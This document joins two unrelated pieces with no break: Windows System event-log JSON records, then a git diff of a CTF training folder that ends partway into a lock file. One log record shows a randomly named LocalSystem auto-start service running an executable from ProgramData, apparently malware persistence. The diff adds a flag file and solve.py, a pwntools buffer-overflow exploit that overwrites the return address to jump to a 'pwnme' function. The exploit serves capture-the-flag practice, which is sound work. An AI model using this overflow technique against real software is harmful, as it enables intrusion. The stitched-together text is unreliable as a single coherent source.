{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.299892Z"}},"EventRecordID":3093,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4040,"ThreadID":2672}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-TPM-WMI","Guid":"7D5387B0-CBE0-11DA-A94D-0800200C9A66"}},"EventID":1282,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.338441Z"}},"EventRecordID":3094,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4040,"ThreadID":2672}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-TPM-WMI","Guid":"7D5387B0-CBE0-11DA-A94D-0800200C9A66"}},"EventID":1025,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.352043Z"}},"EventRecordID":3095,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4040,"ThreadID":2672}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":null}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.353661Z"}},"EventRecordID":3096,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4040,"ThreadID":2672}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.353759Z"}},"EventRecordID":3097,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4040,"ThreadID":2672}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Winlogon","Guid":"DBE9B383-7CF3-4331-91CC-A3CB16A3B538"}},"EventID":7001,"Version":0,"Level":4,"Task":1101,"Opcode":0,"Keywords":"0x2000200000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:25.810932Z"}},"EventRecordID":3098,"Correlation":null,"Execution":{"#attributes":{"ProcessID":740,"ThreadID":1356}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"TSId":1,"UserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:30.471891Z"}},"EventRecordID":3099,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":7936}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:30.476676Z"}},"EventRecordID":3100,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":7936}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:30.521187Z"}},"EventRecordID":3101,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":7936}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:30.525912Z"}},"EventRecordID":3102,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":7936}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:30.573798Z"}},"EventRecordID":3103,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":8084}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:06:30.577053Z"}},"EventRecordID":3104,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":8084}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:29.739956Z"}},"EventRecordID":3105,"Correlation":null,"Execution":{"#attributes":{"ProcessID":5344,"ThreadID":9616}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":117,"HiveName":"\\??\\C:\\Users\\User\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Settings\\settings.dat","KeysUpdated":279,"DirtyPages":24}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Service Control Manager","Guid":"{555908d1-a6d7-4695-8e1e-26931d2012f4}","EventSourceName":"Service Control Manager"}},"EventID":{"#attributes":{"Qualifiers":16384},"#text":7045},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8080000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:07:47.870189Z"}},"EventRecordID":3106,"Correlation":null,"Execution":{"#attributes":{"ProcessID":784,"ThreadID":868}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"ServiceName":"QcUcMElh","ImagePath":"C:\\ProgramData\\AQsYYssI\\lmIcgUEQ.exe","ServiceType":"user mode service","StartType":"auto start","AccountName":"LocalSystem"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-DistributedCOM","Guid":"{1B562E86-B7AA-4131-BADC-B6F3A001407E}","EventSourceName":"DCOM"}},"EventID":{"#attributes":{"Qualifiers":0},"#text":10016},"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8080000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:08:27.193836Z"}},"EventRecordID":3107,"Correlation":null,"Execution":{"#attributes":{"ProcessID":348,"ThreadID":572}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"param1":"application-specific","param2":"Local","param3":"Launch","param4":"Windows.SecurityCenter.WscBrokerManager","param5":"Unavailable","param6":"NT AUTHORITY","param7":"SYSTEM","param8":"S-1-5-18","param9":"LocalHost (Using LRPC)","param10":"Unavailable","param11":"Unavailable"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-DistributedCOM","Guid":"{1B562E86-B7AA-4131-BADC-B6F3A001407E}","EventSourceName":"DCOM"}},"EventID":{"#attributes":{"Qualifiers":0},"#text":10016},"Version":0,"Level":3,"Task":0,"Opcode":0,"Keywords":"0x8080000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:08:27.193836Z"}},"EventRecordID":3108,"Correlation":null,"Execution":{"#attributes":{"ProcessID":348,"ThreadID":572}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"param1":"application-specific","param2":"Local","param3":"Launch","param4":"Windows.SecurityCenter.SecurityAppBroker","param5":"Unavailable","param6":"NT AUTHORITY","param7":"SYSTEM","param8":"S-1-5-18","param9":"LocalHost (Using LRPC)","param10":"Unavailable","param11":"Unavailable"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Service Control Manager","Guid":"{555908d1-a6d7-4695-8e1e-26931d2012f4}","EventSourceName":"Service Control Manager"}},"EventID":{"#attributes":{"Qualifiers":49152},"#text":7034},"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8080000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:08:28.295782Z"}},"EventRecordID":3109,"Correlation":null,"Execution":{"#attributes":{"ProcessID":784,"ThreadID":3764}},"Channel":"System","Computer":"WinDev2401Eval","Security":null},"EventData":{"param1":"Microsoft Update Health Service","param2":"1","Binary":"7500680073007300760063000000"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:13:03.977589Z"}},"EventRecordID":3110,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":9424}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:13:03.979705Z"}},"EventRecordID":3111,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":9424}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-21-1837475949-2032650698-3025450431-1000"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Service Control Manager","Guid":"{555908d1-a6d7-4695-8e1e-26931d2012f4}","EventSourceName":"Service Control Manager"}},"EventID":{"#attributes":{"Qualifiers":16384},"#text":7040},"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8080000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:13:29.757715Z"}},"EventRecordID":3112,"Correlation":null,"Execution":{"#attributes":{"ProcessID":784,"ThreadID":2324}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"param1":"Background Intelligent Transfer Service","param2":"auto start","param3":"demand start","param4":"BITS"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:23.135574Z"}},"EventRecordID":3113,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":9116}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:23.141019Z"}},"EventRecordID":3114,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":9116}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:23.258142Z"}},"EventRecordID":3115,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":4384}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:23.260234Z"}},"EventRecordID":3116,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":4384}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:23.288656Z"}},"EventRecordID":3117,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":4384}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:23.291483Z"}},"EventRecordID":3118,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":4384}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":44,"Version":1,"Level":4,"Task":1,"Opcode":12,"Keywords":"0x8000000000002004","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:28.201509Z"}},"EventRecordID":3119,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2788,"ThreadID":4644}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"Update for Microsoft Defender Antivirus antimalware platform - KB4052623 (Version 4.18.24090.11) - Current Channel (Broad)","updateGuid":"21D92EC3-15E2-44F9-99CD-D46AB34D39C4","updateRevisionNumber":200}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":43,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000002008","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:34.640841Z"}},"EventRecordID":3120,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2788,"ThreadID":6724}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"Update for Microsoft Defender Antivirus antimalware platform - KB4052623 (Version 4.18.24090.11) - Current Channel (Broad)","updateGuid":"21D92EC3-15E2-44F9-99CD-D46AB34D39C4","updateRevisionNumber":200}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":1,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:38.094294Z"}},"EventRecordID":3121,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":360}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":8,"DeviceName":"WdFilter","DeviceTime":"2055-04-20T12:48:29.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-FilterManager","Guid":"F3C5E28E-63F6-49C7-A204-E48A1BC4B09D"}},"EventID":6,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:42.956721Z"}},"EventRecordID":3122,"Correlation":null,"Execution":{"#attributes":{"ProcessID":4,"ThreadID":552}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"FinalStatus":"0x0","DeviceVersionMajor":10,"DeviceVersionMinor":0,"DeviceNameLength":8,"DeviceName":"WdFilter","DeviceTime":"2072-04-25T20:11:39.000000Z"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-WindowsUpdateClient","Guid":"945A8954-C147-4ACD-923F-40C45405A658"}},"EventID":19,"Version":1,"Level":4,"Task":1,"Opcode":13,"Keywords":"0x8000000000000018","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:46.035412Z"}},"EventRecordID":3123,"Correlation":null,"Execution":{"#attributes":{"ProcessID":2788,"ThreadID":6724}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"updateTitle":"Update for Microsoft Defender Antivirus antimalware platform - KB4052623 (Version 4.18.24090.11) - Current Channel (Broad)","updateGuid":"21D92EC3-15E2-44F9-99CD-D46AB34D39C4","updateRevisionNumber":200,"serviceGuid":"9482F4B4-E343-43B6-B170-9A65BC822C77"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Kernel-General","Guid":"A68CA8B7-004F-D7B6-A698-07E2DE0F1F5D"}},"EventID":16,"Version":0,"Level":4,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:54.418796Z"}},"EventRecordID":3124,"Correlation":null,"Execution":{"#attributes":{"ProcessID":676,"ThreadID":2188}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"HiveNameLength":85,"HiveName":"\\??\\C:\\ProgramData\\Microsoft\\Provisioning\\Microsoft-Desktop-Provisioning-Sequence.dat","KeysUpdated":0,"DirtyPages":0}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-UserModePowerService","Guid":"CE8DEE0B-D539-4000-B0F8-77BED049C590"}},"EventID":22,"Version":0,"Level":4,"Task":18,"Opcode":0,"Keywords":"0x4000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:57.609643Z"}},"EventRecordID":3125,"Correlation":null,"Execution":{"#attributes":{"ProcessID":936,"ThreadID":1060}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"Turn":5}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:59.151881Z"}},"EventRecordID":3126,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":9116}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"TPM","Guid":"1B6B0772-251B-4D42-917D-FACA166BC059"}},"EventID":15,"Version":0,"Level":2,"Task":0,"Opcode":0,"Keywords":"0x8000000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:16:59.154395Z"}},"EventRecordID":3127,"Correlation":null,"Execution":{"#attributes":{"ProcessID":7888,"ThreadID":9116}},"Channel":"System","Computer":"WinDev2401Eval","Security":{"#attributes":{"UserID":"S-1-5-18"}}},"EventData":{"driverFile":"0x2","lineNumber":369,"Data":3221225524}}}

33
training/srdnlenctf-2025/pwn_Snowstorm/.gdb_history Normal file
View File

@@ -0,0 +1,33 @@
start
b t
bt
i f
frame
ni
ni
ni
l
ni
ni
ni
ni
ni
ni
ni
ni
b pwnme
c
ni
ni
ni
ni
ni
ni
heap
ni
ni
ni
ni
ni
heap
ni

1
training/srdnlenctf-2025/pwn_Snowstorm/.python-version Normal file
View File

@@ -0,0 +1 @@
3.13

1
training/srdnlenctf-2025/pwn_Snowstorm/flag.txt Normal file
View File

@@ -0,0 +1 @@
srdnlen{39.22N_9.12E_4nd_I'll_C0n71Nu3_70_7R4n5M1t_7h15_M355463}

BIN
training/srdnlenctf-2025/pwn_Snowstorm/ld-2.39.so Executable file
View File

Binary file not shown.

BIN
training/srdnlenctf-2025/pwn_Snowstorm/libc.so.6 Normal file
View File

Binary file not shown.

6
training/srdnlenctf-2025/pwn_Snowstorm/main.py Normal file
View File

@@ -0,0 +1,6 @@
def main():
print("Hello from pwn-snowstorm!")
if __name__ == "__main__":
main()

9
training/srdnlenctf-2025/pwn_Snowstorm/pyproject.toml Normal file
View File

@@ -0,0 +1,9 @@
[project]
name = "pwn-snowstorm"
version = "0.1.0"
description = "Add your description here"
readme = "README.md"
requires-python = ">=3.13"
dependencies = [
"pwntools>=4.15.0",
]

BIN
training/srdnlenctf-2025/pwn_Snowstorm/snowstorm Executable file
View File

Binary file not shown.

BIN
training/srdnlenctf-2025/pwn_Snowstorm/snowstorm_patched Executable file
View File

Binary file not shown.

BIN
training/srdnlenctf-2025/pwn_Snowstorm/snowstorm_patched.i64 Normal file
View File

Binary file not shown.

38
training/srdnlenctf-2025/pwn_Snowstorm/solve.py Executable file
View File

@@ -0,0 +1,38 @@
#!/usr/bin/env python3
from pwn import ELF, process, gdb, context, args, remote, pause, p64
from pwnlib.util.cyclic import cyclic_gen
exe = ELF("./snowstorm_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.39.so")
context.binary = exe
context.terminal = ["kitty", "-e"]
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r, gdbscript="""
b *0x4015c2
c
""")
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
for _ in range(127):
r.recvuntil(b'(max 40): ').decode()
r.send(b"0x40")
r.recvuntil(b'> ').decode()
rbp_val = 0x0
r.send(b"A"*48+p64(rbp_val)+p64(exe.symbols['pwnme']) )
r.interactive()
if __name__ == "__main__":
main()

704
training/srdnlenctf-2025/pwn_Snowstorm/uv.lock generated Normal file
View File

@@ -0,0 +1,704 @@
version = 1
revision = 3
requires-python = ">=3.13"
[[package]]
name = "bcrypt"
version = "5.0.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/d4/36/3329e2518d70ad8e2e5817d5a4cac6bba05a47767ec416c7d020a965f408/bcrypt-5.0.0.tar.gz", hash = "sha256:f748f7c2d6fd375cc93d3fba7ef4a9e3a092421b8dbf34d8d4dc06be9492dfdd", size = 25386, upload-time = "2025-09-25T19:50:47.829Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/13/85/3e65e01985fddf25b64ca67275bb5bdb4040bd1a53b66d355c6c37c8a680/bcrypt-5.0.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f3c08197f3039bec79cee59a606d62b96b16669cff3949f21e74796b6e3cd2be", size = 481806, upload-time = "2025-09-25T19:49:05.102Z" },
